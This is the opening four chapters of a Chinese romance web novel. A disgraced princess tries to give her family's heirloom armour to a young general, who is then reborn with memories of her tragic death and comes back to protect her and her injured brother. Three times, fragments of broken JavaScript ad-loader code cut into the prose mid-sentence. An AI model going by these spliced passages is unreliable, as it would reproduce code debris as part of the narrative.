《将军他宠妻无度》 1. 第 1 章 霜月既至,寒意深浓。 尤其到了下午,当太阳被乌云遮住后,天地间阴沉沉的,颇有风雪欲来之势。 楚悦裹紧披风,抱着祖上传下来的护心镜,走出家门。 楚悦的住处位于延贤坊,延贤坊位于皇城西南,是京城有名的平民居所。 出了延贤坊东门往北,穿过宽余三十丈的阔道,再路过崇化坊,楚悦在右手边的兴义坊门口停下来。 与延贤坊不同的是,兴义坊里住的并非平民,而是皇亲国戚与高官显贵。 刚来上京时,楚悦一家也住在兴义坊。 爹爹获罪后,双亲相继故去,家产被没收,她与弟弟才搬去延贤坊。 天气冷,路上的行人不多,以防遇见熟人,她低头紧了紧披风,将大部分面容掩藏在宽大的兜帽之下,才垂眸进了兴义坊。 甫一踏入,熟悉的感觉越来越浓烈,这就不免想起从前。 那时爹爹刚平定西南边境的百部叛乱,意气风发,干劲十足;而她呢,作为湘王的女儿,初到京城时也是众星捧月的宁安郡主。 只可惜那样的日子没过多久,爹爹就被御史盯上…… 就算爹爹已经不在,她也一直不信,一向视大晋重于一切的爹爹会收受贿赂与叛贼勾结。那个风光霁月的男子,如山一般为他们遮风挡雨的人,在案情与娘亲病故的双重打击下匆匆撒手人寰。 定了定神,楚悦没有回头看身后不远处那个曾经被封禁的家,沿着兴义坊西侧的坊墙往南走。 长辈的事她无法置喙,也无力去追究,她只能安慰自己与弟弟,这世间各人有各的难,躲不过就只能接受。 她今日不是为缅怀过往来的,她今日要见一个人。定国公世子,景璃。 光是想起这个人的名字,楚悦的心头就不受控制涌起一阵酸楚。 与景璃初见,是熙和十三载,那一日她刚好十三岁。 那年爹爹办完差事,恰值太后娘娘六十大寿,回京述职时,爹爹带了娘亲去给太后贺寿。他们以为贺完寿就会回西南封地,就没有带姐弟俩。 没想到,皇上将爹爹留下来,爹爹就派人去接他们姐弟俩。 他们姐弟抵达京城那日,城外下了一场暴风雪,他们一行人困在茫茫雪地里。 就在她以为要冻死之际,景璃恰好带着人经过,在爹爹派来的人抵达之前搭救了他们。 因为这一场救命之恩,两家又同住兴义坊,于是有了来往。 私底下时,长辈打趣她,等阿悦长大了,嫁给景璃好不好? 许是情窦初开的女孩子容易对生得俊美又能干的男子产生好感吧,她虽然羞得不敢看他,却会偷偷盼着自己快些长大,也会暗自祈祷他在她长大之前不要喜欢上别的女子。 后来,她成了罪臣之女,而他依旧是京城最炙手可热的少年将军。 再也无人提及两家结亲的话。 楚悦知道,有些心思该及时埋下,再也没有机会生根发芽。 她这次来找他有正当理由,她来感谢他的,谢他不久前为姐弟俩出头。 突然,一阵急促的马蹄声打破了四周的沉寂,楚悦的心顿时揪起来。 定国公府位于兴义坊的西南角,楚悦没打算去定国公府去找他,而是打算提前在他回家的必经之路上等他。 之所以如此,不仅是因为两家已是云泥之别,贸然前往有攀附之嫌;更重要的,她带来的虽是她和弟弟商量后最拿得出手也最实用的谢礼,但不知景璃是否看得上。若是被拒,在人少一点的地方,没那么难堪。 没想到他竟提前回来了。 短暂的慌乱之后,楚悦顿住脚步,一只手紧抱护心镜,另一只手往下拂了拂被风吹得稍显凌乱的裙摆,转身看向来人的方向。 待看清来人,楚悦莫名松了口气,同时又有些失落。 不是他。 放松下来,楚悦抱着护心镜,看着陌生人骑着马自北向南飞掠而过。 这一带重新恢复寂静,楚悦继续往南走,再往前就是定国公府的院墙了。楚悦停下来,将自己藏在定国公府北边的巷曲里。 随着西风越来越大,天色越来越阴沉,楚悦在心里默默算着时辰,他该回来了。 景璃是她见过最自律的世家子弟,何时练武、何时上值、何时回府,都有定数。 不过…… 楚悦看着景璃下值会出现的方向,隔着蓝底白花的棉布里轻抚着护心镜。 大晋与西戎边境再起烽火,她听说了,景璃这一次也会率军出征,所以给景璃带来一副护心镜。 与其说是护心镜,不如说是一副软甲。 这软甲是外祖父祖上传下来的,很难得,后来到了父亲手里,父亲穿着它与西南诸部落打交道,屡次在关键时刻护住父亲的性命。 与武将们常穿的明光铠不同的是,除了护心镜的部分,软甲其余部分用细且坚韧的材料织成,轻便又贴身,就算下了战场,也可以穿到外衫里,能时刻起到防护作用。 等待间,紧邻坊墙的路上又传来动静。 这一次马蹄声很悠闲,略有些嘈杂,不像是只有一匹马,还有马车。 景璃这个人沉默寡言,素来独来独往,为免遇见国公府的人,楚悦转身,背对着巷口的方向。 直到一声惊讶的女声打破巷口打破四周的寂静。 “楚悦!” 楚悦听出来了,出声的是平昌伯与景璃姑母的幼女姚沁,景璃的爱慕者之一,也是最有希望成为国公府世子夫人的女子。 姚沁这人别的都好,就是见不得其他女子与景璃有关联。 楚悦顿时感觉气氛有些微妙,尴尬回头。 姚沁本就气景璃在方才的宴会上对她这个表妹一点都不热络,故意叫马车慢点走,好磨一磨他。哪知他根本不在意,只是冷眼看着她闹。 她打起帘子偷看骑马并行的景璃,不曾想,本该在家守孝的楚悦竟然出现在景璃回府的必经之路上! 姚沁看着那道就算化成灰她也认得的身影,叫停马车挂好车帘,伏在车窗前问楚悦:“你躲在这里做什么?” 看到马背上的景璃也朝这边看过来,楚悦白嫩的面颊更红了。 景璃还是她记忆中的那副模样,身姿挺拔,气宇轩昂,当冷峻的目光看过来时,仿佛能刺入人心底,楚悦的心头止不住一颤。 身份有别,楚悦低头福了福:“姚姑娘,景世子。” 因为楚家的变故,楚悦失去了成为世子夫人的资格,但姚沁并不敢完全放松。 她居高临下提醒楚悦:“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你还没有回答我,你躲在这里做什么?” 楚悦紧紧抱住软甲,小声开口:“之前多亏世子施以援手,楚昕才免遭歹人之手,我,我代弟弟来给世子送点东西,作为谢礼。” 景璃和他们姐弟竟私下有往来! 姚沁的脸色更难看了。 尤其当她重新将楚悦审视了一遍,更觉得心堵。 时近日落,光线晦暗。虽然因为在孝期穿着最朴素的素服,虽然不施粉黛不着钗饰,那张柔腻白皙的脸依旧看起来文静乖巧,连红个脸在她身上都有奇效,既像娇花一般明丽,又显得我见犹怜。 想到景璃也看着这样的楚悦,姚沁捏紧手中的锦帕,语气烦躁:“什么东西?” 楚悦只当听不出姚沁的不耐烦,她没什么见不得人的心思,捧着软甲来到姚沁的车前:“是护心镜,也是软甲,是我祖上留下来的,比铠甲轻便,也很实用。楚昕听说世子不日就要上战场,盼着软甲能护世子周全。” 闻言,姚沁差点咬碎后槽牙。 楚昕一个半大孩子,哪能考虑得这样周全,明明是眼前这个罪臣之女想用副破护甲吸引景璃的注意。 目光扫了眼景璃,他依旧是那副冷漠疏离的模样,姚沁稍微心安。 相识一场,她知道怎么样楚悦这种脸皮薄的人死心,顺便给景璃留个大方心善的好印象。 姚沁忍痛褪下新打的手镯,递向马车下方仰面看着她的人:“既是祖上留下的东西,还是好生保管着,你带回去留个念想。至于软甲,表哥不缺你这个。这个手镯你拿着,天气冷,回去给阿昕添几身冬衣。” 软甲没送出去,怎能反倒接受姚沁的东西,楚悦连忙拒绝。 她有些懊恼,不该强调是祖上传下来的,她这样说只是想证明这个好用,反倒容易令人误会。 楚悦打开包袱,手忙脚乱将软甲展开:“这个很有用的,曾屡次助我爹爹避开暗箭。” “走吧。” 一直骑在马上没有开过口的人说话了,居高临下瞥楚悦一眼,车窗口的姚沁开口。 姚沁很满意楚悦这副局促的模样,将手镯扔入楚悦怀中,见景璃已经回头看向前方,她勾笑看着楚悦:“回去吧,好像要下雪了,莫着凉。” 但姚沁扔歪了,手镯直冲楚悦的面庞而来,她下意识闭眼,偏头躲避。 纯金的手镯在地上滚了几圈,在楚悦的脚边停下来。 楚悦咬唇抬起头,车窗的帘子已经放下,她爱慕许久的少年将军稳坐在马背上,依旧身姿英挺,这回目视着前方,说不出的冷酷淡漠。 景璃和姚沁的马车消失在道路的尽头,风更大了,楚悦在寒风里待了太久,如身在冰窖。 其实看到姚沁的那一刻就猜到他不会收,也知道姚沁的那些意味深长的眼神代表着什么,但战火无情刀剑无眼,还是忍不住想试一试。 估摸着那两人已经进了国公府,楚悦捡起手镯,走到一墙之隔的定国公府门口,交给门房。 在门房疑惑的目光中,楚悦抱着护心镜,几乎是落荒而逃。 她不知道他们会怎样议论这一次的遇见,能确定的是,这应该是她最后一次见他,等他凯旋归来,她同弟弟应该已经离开京城。 寒风中,楚悦抬袖遮住越来越模糊的眼。 2. 第 2 章 第2章 京城有宵禁,楚悦得在坊门关闭前回到延贤坊。 离坊门还有几丈远的时候,楚悦隐约看到坊门前有一道熟悉的身影,正翘首望着她所在的方向。 楚悦加快步伐走近,看清来人:“姜爷爷,您怎么来了?” 被楚悦称为姜爷爷的,是外祖父家的老仆。 老者名为姜旺,年逾六十,受过楚悦外祖父姜道的恩惠。 姜旺看到楚悦,也看到了楚悦抱在怀里的包袱,他什么也没问,隔开其他匆忙进出的人,引着楚悦往坊门里走:“阿昕与你姜婆婆不放心,嘱咐我来接你。” 楚悦心里感动。 经历过家中的变故,她早已不是从前那个事事需要人庇护的小姑娘,怎会害怕这将黑未黑的天色。 但她很感激老人家冒着冬日的寒冷来接她的心意,柔声开口:“原本的确有些忐忑,有您在,再黑都不害怕了。” 被需要,老者眼底的慈爱更浓:“回来就好。” 楚悦原是湘王之女,乃众星捧月的宁安郡主,湘王与当今圣上是远房堂兄弟。 十三年前,皇室上演兄弟阋墙的悲剧,湘王在当今圣上夺嫡的过程中立下大功。 湘王被人控告受贿叛国,自他故去后,圣上法外开恩,只将楚悦兄妹贬为平民,并没收了王府的资产,并没有株连其余亲族。但湘王所犯之罪涉嫌叛国,圣上近年来又喜怒无常,无人敢肯定圣上日后不会再追究,就是宗亲也不敢同他们姐弟有过多牵扯。 姜旺和妻子心中不忍,将姐弟俩接回姜家的老宅照顾。 老宅位于延贤坊西北方,进了坊门得沿着坊墙一直往北走。 这里住的都是平民,不像兴义坊那样灯火通明,这里路窄,宅子也密密挨着,越往前走,路就越黑。 等走到坊墙尽头,就到了姜家。 这座小小的宅子是楚悦的外祖父姜道购置的。 四十多年前,姜道离乡背井,一个人来京城打拼。他生前是负责巡城的武侯,妻子难产身亡之后,一个人拉扯楚悦的母亲姜菱。 姜菱十岁那年,姜道因公殉职,姜菱由姜旺照料着长大。 后来姜菱以平民的身份嫁入湘王府,随楚父去了封地,这处老宅一直由姜旺两口子看管。 说是让姜旺看守老宅,实际上是姜菱体恤姜旺身上有伤,无法去南方,让姜旺留下颐养天年。 姜菱在离世前一定也没有想到,他的丈夫会那么快与她团聚,在最艰难的时刻帮助她的孩子的,还是姜旺。 * 终于到家,一老一少摸黑进了家门。 姜家不大,只有一进,但楚父曾派人将这小院好好拾掇过一番。 因此这宅子虽小,正房、厢房、耳房、倒座……该有的都有,姜旺夫妇看管得格外用心,将小院收拾得整洁又温馨。 正房有三间,姜菱出阁后一直空着,姐弟俩住进正房的西屋与东屋。前几日发生了些事,才有所调整。 屋中只有厨房里亮着灯,弟弟楚昕与姜婆婆都在厨房里。 对于姜爷爷与姜婆婆,楚悦满心都是感激。 在京城,平民百姓之家一日只有两顿饭,就算是在守孝期间,姜爷爷姜婆婆说他们姐弟俩正在长身体,坚持每日给他们预备三餐。姜爷爷姜婆婆能力有限,一直在努力照顾他们姐弟俩。 回正房放下包袱,楚悦才去厨房。 甫一踏入,迎面看到一张飞扬的笑脸:“姐!” 与此同时,在灶台后忙活的姜婆婆与在灶膛前烧火的姜爷爷一齐看向楚悦,向她投来慈祥的目光。 楚悦感觉周身都是暖暖的,但当目光落在弟弟身上,还是不免一阵心疼。 这是他唯一的弟弟,小她三岁,姐弟俩一起长大,感情很好,如今更是相依为命。 几日前她被地痞缠住,为了替她解围,弟弟被地痞打断一条腿。虽是景璃出现赶走地痞,但弟弟的伤还是落下了。 弟弟越乐观,楚悦越是愧疚。 她蹲下身子,问坐在凳上的弟弟:“你感觉如何?” 楚昕只知道,他是男子,爹爹不在了,他就得支棱门庭,不能让人将姐姐欺负了去。 少年清清爽爽的声音响起:“早就不疼了,就是有点饿,姐姐若是再回来得晚些,我就只好将你那一份也吃了。” 知道弟弟是在哄自己宽心,楚悦没有拆穿,佯怒:“可真是我的好弟弟。” 楚昕做了个鬼脸。 他随了父亲,天生有副桃花眼,加上他的五官出众,少年透出来的活力单纯又热烈。 一旁姜婆婆和姜爷爷见了被逗乐,楚悦也跟着笑起来。 虽说遇见了不如意的事,但身边一直有关心自己的人,她才不会让自己一直陷在悲伤里。 水开了,锅里的扁食也开始翻滚,饭食的清香在满屋子弥散开。 楚悦由衷感慨:“真香!” 姜婆婆看了眼灶台前往灶膛里添柴的老头子。 小姑娘回房期间,老头子已将楚悦闷头将护心镜带回来一事告诉了她与小世子。世子尚且在努力活跃气氛,她这个年纪大的自然不能拖后腿。 姜婆婆也只当不知道,笑:“阿悦待会可要多吃些。” 楚悦弯着眼睛伸出两根手指说要吃两碗,“命令”弟弟:“可不许喝我抢。” 楚昕才不:“就要!抢着吃才香。” 并不宽敞的厨房里,阵阵笑声飘荡在烟火蒸腾出的热气,充盈住所有的空间。 * 用过暮食,姜爷爷背着楚昕回房,楚悦也提着水跟着一起。 楚昕伤在腿上,男孩子刚满十二岁,却自认为长大了,起居的事不肯再让姐姐帮忙。 在楚昕的要求下,他从正房的东屋搬出来,搬去了东厢房的北屋,夜里由姜旺照应。 安顿好楚昕,姜旺去厨房里搬火盆,房内只剩下姐弟俩。 见楚悦取出木盆欲兑水,楚昕叫了声姐姐:“别忙活了,咱们说说话吧。” 楚悦的动作一顿,继续往盆里倒水,她将木盆端至楚昕旁边:“我将软甲带回来了。” 楚昕已经知道这个结果,又觉得有些理所当然:“没见着景大哥?” 景大哥看起来很严厉,难以亲近,姐姐没见到人也很正常。 楚悦摇头:“他用不上。” 楚昕松了口气,姐姐表现得太过平静,原本还担心她是强颜欢笑,现在他放心了。 并非景大哥看不上,而是他用不上。 但这并不影响他觉得可惜。 被抄家之后,楚悦姐弟俩几乎是空手住进来的,只带了外祖父留给父亲的软甲。这软甲是好东西,可惜他生得文弱,在练武一事上毫无天赋,这软甲他用不上。 在这里白吃不住一年多,眼见姜 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 爷爷姜婆婆照顾他们越捉襟见肘,姐弟俩就商量着将这软甲当了,解一解燃眉之急。 可毕竟是祖上留下来的东西,到底舍不得。 都说宝马配好鞍,宝剑配英雄,这软甲作为谢礼送给景大哥也算物尽其用,他们不会心疼。 景大哥用不上,就只能当了。 楚昕苦恼:“景大哥后日就要启程,时间这样短,拿什么作为谢礼回报他?” 楚悦想起景璃转身前那冷冰冰的一瞥,压下心底的苦涩,她捞起盆里的巾帕拧干后递给楚昕:“以后有机会再说。” 楚昕接过帕子擦完脸,抬头后,热气从少年的面庞上溢散开:“以后?还有机会么,听说那一仗要打好久。” 他们离出孝还有一年多,出孝后会离开。等大军凯旋,他们十有八.九已经离开京城,到时哪里有机会。 不过见不到也没什么,景大哥虽然是个好人,可太凶了。 楚悦顿了下,安慰他不要想太多:“就算遇见的是不是你我,世子同样也会出手相助,他既用不上,上赶着反倒不好。” 楚昕懂了,爹爹毕竟是戴罪故去,案子一日未结,他们始终是罪臣的儿女,与人来往密切反而不利对方。 看着姐姐比爹娘在世时明显瘦削的面庞,楚昕攥紧手里的巾帕:“姐姐放心,我一定发愤图强,早日洗刷爹爹身上的冤屈。” 等真相大白了,姐姐也能像从前一样,只需做喜欢的事,不必为生计发愁。 楚悦欣慰弟弟的懂事,但没忘提醒他:“这些话你记在心里便可,莫要对人讲,也莫要再提冤屈一类的话。” 他们不信爹爹无罪无用,朝廷中的恩怨错综复杂,并非他们这样的小辈能搅动。 圣上才是那个掌管所有人生死的人,他不肯迟迟让案情下定论,不会喜欢听到这样的话。 自知失言,楚昕暗下决心:“姐姐放心,我不说了。” 姜旺端着家中唯一的火盆进来,楚悦也告辞了。 天不藏奸,爹爹平定百部叛乱反被指认索贿叛国的事自有公论,她如今只盼望着,她与弟弟都平平安安地,能安安稳稳等到能为爹爹平反那一日。 踏出屋子,楚悦不由自主顿住脚步,她惊讶地发现灯笼的纸罩上方竟然飘着一片鹅毛大雪。 楚悦举起灯笼,一片又一片的雪花掠过灯笼照出来的光晕,稀稀疏疏落下来。 下雪了。 雪越下越大,很快就将地面覆上一层莹白。 这是今年冬天降下的第一场雪,姚沁一点赏雪的心思都没有,整个人烦躁得很。 景璃要出征了,她特意挑这个时节住进国公府,就是让其他人知道,国公府并非人人能进,景璃不是什么人都能肖想的。 可她人虽然进了国公府后,景璃一句话都没有跟她说过。 丫鬟们看到初雪都很高兴,姚沁却觉得这一阵高高低低的惊呼很闹心:“冷死了!有什么好看的,赶紧将窗户关了。” 丫鬟连忙低下头,大气不敢出。 姚沁躺在客房里,睁大眼睛望着帐子顶。 其实,最让她气难顺的是,昨日进国公府之前景璃冷着脸说她的那句:“你过分了。” 姚沁知道景璃看出了她对楚悦的奚落,气呼呼地翻了个身。 她哪里过分了,不就提醒楚悦记住自己的身份,还施舍她了个大金镯子呢,明明是在做好事! 3. 第 3 章 第3章 定国公府,澹明堂。 亥时,景璃推开门从书房里走出来,才发现雪还在下,地面已经铺满及脚踝的雪。 洗漱完,景璃没有着急躺下,坐在窗前发了会呆。 近日他总是做梦,一闭眼,他不是在战场上厮杀,就是在茫茫无际的大漠里策马狂奔,睡了比没睡还要累。 梦里的他感觉自己仿佛行尸走肉一般,痛苦又麻木,心底如同死水一般。 他不喜欢那种无望的感觉,但那种绝望真实又深刻,仿佛他曾亲身经历过一般。 子时的更鼓响了三遍,又是新的一天,景璃吹灭灯烛,走向床榻。 就算再不情愿,他得养精蓄锐,大军明日就要开拔,不能这样整宿整宿地不睡。 拉开被衾躺进去,景璃闭上眼。 时辰一点一点过去,同雪花一起裹紧风里,在无边的黑夜里絮絮飘着。 “阿悦!” 年轻将军仍闭着眼,浓眉紧锁。 雪花依旧絮絮飘着,落在地面上发出几不可闻的沙沙声,屋子里静得落针可闻,无人回应。 等天边露出鱼肚白,雪停了。 当金黄的朝阳透过窗纸,斜斜地落在窗边的矮几上时,景璃赫然睁眼,醒了。 他掀开被子起身,环顾四周后,古井无波的眸光中掠过一丝惊讶。 片刻之前,他刚从边地返回京城,这一路星夜兼程,在那座小小的坟茔前打了个盹。 “长安。” 冷肃的声音落下,景璃旋即愣住,他意外发现这声音十分年轻。 这屋子看着倒有些眼熟,却并非他的寝室。 这是怎么回事? 不多时,门口的棉帘被人掀开,一张熟悉的面庞出现在景璃面前。 “世子您醒了。” 景璃的眸光闪烁了下。 他当然认得他的长随,只不过长安在第一次随他奔赴沙场的大仗中,被敌兵射伤了一只眼,后来只能以独目示人,但眼前的长安身上完好无缺,且比他记忆中年轻。 长安心里七上八下的,睡了一觉,世子整个人看起来更加冷肃了,尤其是眉眼,更冷峻了,仿佛打了几十年仗似的,眉头一皱,仿佛就要敌人都杀了。 咽了咽唾沫,长安垂着眼开口:“表姑娘派人来请您去荣禧堂用早膳,属下见您难得睡得安稳,就没有叫您。” 景璃原本不动声色在打量周遭的环境,闻言心中一动。 他今年四十二岁,荣禧堂的主子早在二十年前就已经故去,更别说表姑娘姚沁,早就嫁去外地。 种种反常汇在一起,景璃心中升腾起一个荒谬的念头。 他压下心底的讶异,神色如常开口:“如今是何年何月?” 长安被景璃问得莫名其妙,世子睡迷糊了? 偷偷看一眼景璃,长安重新垂下眼:“今日是熙和十五年。” 景璃呼吸一滞,抓起屏风上的衣裳往身上套,他“哗”地掀开门帘,大步往外走。 长安目瞪口呆留在原地。 走出五门,寒气扑面而来,使得景璃更加清醒。 院子里的雪已经扫干净,然而他这一次睡得格外沉,以至于压根没有听见扫雪的声音。 只有他心里清楚,那些厮杀根本不是做梦,都是他的真实经历。 熙和十五年,他在京城只见过一场雪,就在他出征前一日。 他不知道他为何会带着记忆回到二十多年前,更没有空去理会给他行礼的下人,只顾着疾步往外走。 曾经在尸山血海里也毫无波澜的人,想着他此行的目的地,紧抿薄唇,垂在身侧的指尖不受控制轻轻颤抖。 他怕去得晚了,梦里魂牵梦绕的人又见不到了。 无形的压迫感消失了,长安后知后觉拿起披风追出来:“世子您去哪?” 景璃顿住脚步。 是了,他该骑马,虽说只隔了两个坊,骑马更快。 * 夜里下了雪,楚悦大清早就起来,和姜爷爷一起院子里扫雪。 忙活完,姜婆婆笑眯眯站在门口招呼:“来吃饭了。” “来了!” 一老一少放下笤帚,去厨房。 洗完手,刚坐下,门口突然传来叩门声。 四人你看看我,我看看你。 自楚家出事后,楚悦兄妹就被京城里的世家贵族遗忘了,连来姜家串门的街坊邻居也少了,四人想不通什么人会在这样的大清早前来。 弟弟行动不便,两位老人家年纪大了,楚悦放下筷子准备去看看。 不料姜爷爷动作更快,姜婆婆也按住楚悦:“让你姜爷爷去。” “吱呀”一声,早有年头的木门缓缓打开。 姜旺心里一惊,不知道这尊贵的定国公府世子突然出现在这里是何用意。 但这世子的冷脸虽然看着吓人,姜旺没忘记前几日楚昕受伤,正是这位定国公世子背回来的。 姜旺也算见过世面,没有被他那张生人勿近的脸吓到,恭恭敬敬请安:“世子有何贵干?” 景璃记得眼前的老者。 他出征那一年,阿悦的胞弟伤重不治;隔年,阿悦和亲西戎,用命将他换了回去。他回京城后才知,一直照料兄妹俩的老夫妻带着湘王夫妇与楚昕的骨灰离开了京城,死在了去南方的途中。 景璃开口,声音低沉,有超出他年龄的浑厚:“请问楚姑娘在么?” 老人知道楚悦姐弟想感谢景璃,见他脸虽冷,目光却算得上温和,老人回应:“世子稍等,老朽去请姑娘。” 很快,景璃就在门口见到楚悦。 隔了一世,这一次终于不再是梦。 景璃眼不错珠看着楚悦,生怕一眨眼,她就消失不见。 天晴了,暖融的晨光笼在她身上,为她镀上一层圣洁的柔光。 兴许是他吓到她了,色若桃李的姑娘眼神躲闪,圆圆的葡萄眼像是蒙上一层薄雾,她微微垂着眸,似乎有些怕他。 景璃心像是被人揪在手里,狠狠扯着,一阵阵地疼。 他放松五官,静静看着她,深而沉的目光仿佛越过了千山万水,落在她终于不再毫无生机的脸上。 景璃不由自主往前走了一步,艰难开口:“阿悦……” 不远处,躲在一旁偷听的老者松了口气,转身离开。 感觉到他在迫近,楚悦抬起头,乌黑明亮的眸中满是震惊。 他的声音好温柔啊,他唤她阿悦,他们有这样熟悉吗?真奇怪,还是她听错了? 四目相对,楚悦发现人还是那人,眼睛还是那双眼睛。 但他整个人透出来的气势不一样了,从前他像是常年积雪的高山,冷峻且高不可攀,如今仿佛深不可测的海,看似风平浪静,却仿佛能随时将人吞噬。 虽然不知他为何如此,被看得久了,楚悦的面颊越来越烫, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 慌忙别开目光。 一阵微风拂过,吹乱了楚悦的额发,也令她扑通直跳的心稍稍平静了些。 她定了定神:“进,进院子里说吧。” 虽然出太阳了,但这会比昨日下雪时更冷,不管他因何而来,让人在门口站着总归不妥当。 没有专门用来待客的花厅,楚悦将人带到西厢房的廊下,用那双会说话的眼睛看着他。 可他这个人的压迫感太强了,楚悦在那样的目光中没撑多久。 景璃面对着楚悦,一半身子沐浴在晨光中,一半站在廊柱的阴影里。 因为低着头,楚悦没看到面前的少年将军一改往日的冷漠,看她的目光温柔而缱绻。 但她能听到他的声音。 低低沉沉的,很好听,能精准地落在楚悦耳里。 “阿悦昨日,不是有东西要送我?” 闻言,楚悦的心猛跳了阵。 在她的印象里,景璃根本不会这样跟人说话,连姚沁都不可能。 飞速掀眸看他一眼,确定他就是景璃,而并非其他人,楚悦收起乱七八糟的心思,点头:“对,对的。” 不论他的性子如何变,她与弟弟想谢他那日出手相助,这一点不会变。 楚悦:“世子稍等,我去去就来。” 景璃轻轻颔首:“好。” 他永远忘记不了,这个傻姑娘一点一点在他怀里变得冰凉时的绝望。 因为他所谓的坚持,上一世没来得及将心意告诉她;以至于这个傻姑娘直到生命的尽头还在说抱歉,以为从头到尾只是她一个人在一厢情愿。 幸得苍天垂怜,他回来了,一切都还来得及。 景璃站在廊下,保持着目送楚悦离开的姿势,仿佛要将她的每一个身影都刻在心里。 * 厨房里,二老一少站在门缝后,也在揣测景璃大清早突然前来的用意。 单纯如楚昕,也看出了今日的景璃与之前不一样,喃喃道:“我感觉,景大哥好像变了。” 站在他身后的老夫妻对视一眼。 他们只在上次景璃将楚昕背回来之时见过他一面,但那时候的景璃就跟这京城里许多世家子弟一样,待人周到礼貌,但也有着一眼就能看出来的疏离感。 他们是过来人,自然能看懂眼前的定国公世子看自家小主子的眼神,人看起来还是凶的,但目光里的温柔和专注掩盖不住。 但他们想不明白的是,这一双眼睛明明很年轻,看起来仿佛经历过漫长的时光,装填着绵绵密密的疼惜。 楚昕心思简单,轻呼:“景大哥肯收了。” 身份有别,楚悦早就看开了,不该想的不想。 将软甲递给景璃,楚悦清澈的眸光里只剩下真诚:“战场上刀剑无眼,世子若是不嫌弃,多少能多一重保障。” 理由很正当,但彻底放下需要时间,尤其是知道他也在看自己。 被盯得久了,女儿家藏起来的心思还是不受控地透过那一抹霞色显露出来,楚悦赧然垂下眸子。 低垂的视线中,很快出现一双修长有力的手,他双手接过蓝底白花包袱:“阿悦放心,我定会平安归来。” 楚悦脑中嗡了一下,有些懵。 饶是楚悦心悦景璃已久,以为他会问她几句有关软甲的话,没想到他这样语出惊人。 她从未对任何人表露过对于他的心思,惜字如金的他为何会说出这样暧昧不清的话? 4. 第 4 章 直到景璃上完香跪在父母的灵位磕头时,楚悦还有点懵懵的。 方才收下软甲后,他突然提出要祭拜。 楚悦在守孝,有亲友上门祭拜也属正常。 只不过平日里没人来,所以听他这样说时有些茫然,也有些忙乱。 楚悦拿起香递给他,以为他上个香就好,没想到他上好香后不仅跪下了,还以晚辈之礼认认真真磕了头。 楚悦顿时手足无措,怎么突然这样客气,行这样的大礼啊。 景璃站起来,看向桌案旁仍在发蒙的姑娘。 因为惊讶,姑娘漂亮的葡萄眼眨呀眨的。这一回没有阴阳相隔,这姑娘俏生生站在他触手可及的地方。 意识到自己似乎太过急切吓到姑娘家了,景璃压下靠近的冲动。 她还在孝期,有些事还不能急。 可这一次讨伐西戎他是前军先锋,明日随军开拔,就算他有把握利用前世的经验提前结束大仗,再快,下回再见也是几个月之后。 好不容易重逢,景璃不想这么快离开。 环顾一圈,景璃主动挑起话题:“阿昕呢,伤势如何了?” 说起楚昕的伤,楚悦虽然关切,也知道伤筋动骨急不来,得长期修养。 “他好多了,只是腿还有些红肿,大夫说不要紧。” 景璃惊讶:“还肿?” 楚昕是在五日前受的伤,小腿骨折,不算严重,按理接好骨后就会消肿,当然就算没有完全消肿也正常。 前世他出征后就再也没有见过姐弟俩,后来还是从旁人口中得知她在他离开后的境遇,那时已是阴阳两隔,一切都晚了。 记忆中,楚昕因伤重不治死在这个冬天,景璃不得不留心。 楚悦点点头。 景璃:“我去看看他。” 前世,从十三岁到十六岁,这姑娘先是父母亡故,后来失去弟弟,才出孝期,就踏上了和亲之路,最后浑身是血死在他怀里。 光是想着,景璃的心就像被人紧紧揪住,撕扯着疼。 他不会再让那样的悲剧发生。 楚昕见到景璃很高兴。 来京城前,他是无忧无虑的湘王世子,有玩伴有好友,来到京城不久,还来不及结识新的朋友,家中就出了变故,守孝在家也不便出门。 景大哥虽然年纪比他大了好几岁,毕竟是来看他的活人。 楚昕抱怀期待看着给他检查伤势的景璃:“景大哥,我是不是快好了?” 景璃发现,楚昕的伤势不太对劲。 他并非正经接骨的大夫,却是习武之人,磕磕碰碰得多了,能看出楚昕的骨折处几乎没有消肿。 要么是大夫水平有限看不出问题,要么有些细节被忽略了。 对上少年充满期待的眼,景璃点头:“嗯,很快就能好了,最好卧床静养。” 楚昕看向姐姐:“我就说不严重,姐姐这下放心了?” 楚悦回以微笑。 但在楚昕看不到的地方,楚悦看出了景璃眼中的凝重。 弟弟正值长身体的时候,若因为腿伤落下后遗症,楚悦无法原谅自己。 景璃提出要走时,楚悦主动送他,出了家门就忍不住问了:“楚昕的伤是不是不对劲?” 景璃一愣,没想到她看出来了,原计划找人看了再说,免得姑娘跟着操心。 楚悦的个头中等,景璃在男子中个子却算高的,楚悦跟他说话的时候,不得不仰着头。 “别担心,”景璃压下想伸手替姑娘抚平眉心的冲动,走到门口的台阶下方,使她看他时能轻松些,“不算严重,正好我认识一位精通骨科的大夫,这就让他来给阿昕看看。” 楚悦又惊又喜。 她当然知道请名医稳妥,先不说他们囊中羞涩,她们来京城的时间虽然有近两年了,却没什么认识的可靠之人,名医并非想请就能请到的。 本来不该过多麻烦他,可楚悦弟弟的身体更重要,楚悦攥着手开口:“世子的大恩……” 景璃心中一叹,他想要的从来不是这傻姑娘的感激。 “阿悦无需跟我客气,”景璃没让她继续说,“我今日来此,其实有事想请阿悦帮忙。” 原来是这样,楚悦心中稍安,可她有什么能帮到他的呢? 具体的,景璃还没有想好,对着姑娘真诚的眼,硬着头皮开口:“等请完大夫,我再来找阿悦详谈。” 这样才好,楚悦松一口气,他帮她这样大的忙,本来就应该回礼。 目送景璃离开,楚悦回到家中,三双眼睛就朝她投过来。 楚昕怎么想都不对劲:“姐姐与景大哥什么时候这样熟悉了?” 除了上次,他与景大哥打过两次交道,都是爹娘还在时。 第一次是爹娘带着姐姐与他去谢景大哥出手相救,另一次是去年元宵节,去宫里 赏灯。 但景大哥沉默寡言,一副生人勿进的模样,今日却格外亲切! 闻言,楚悦的面色一阵发烫。 楚昕问她,她还想找个人问问呢。 楚悦轻轻摇头:“不知道,他说有事想请我帮忙。” * 从姜家出来,景璃去了崇化坊孙家。 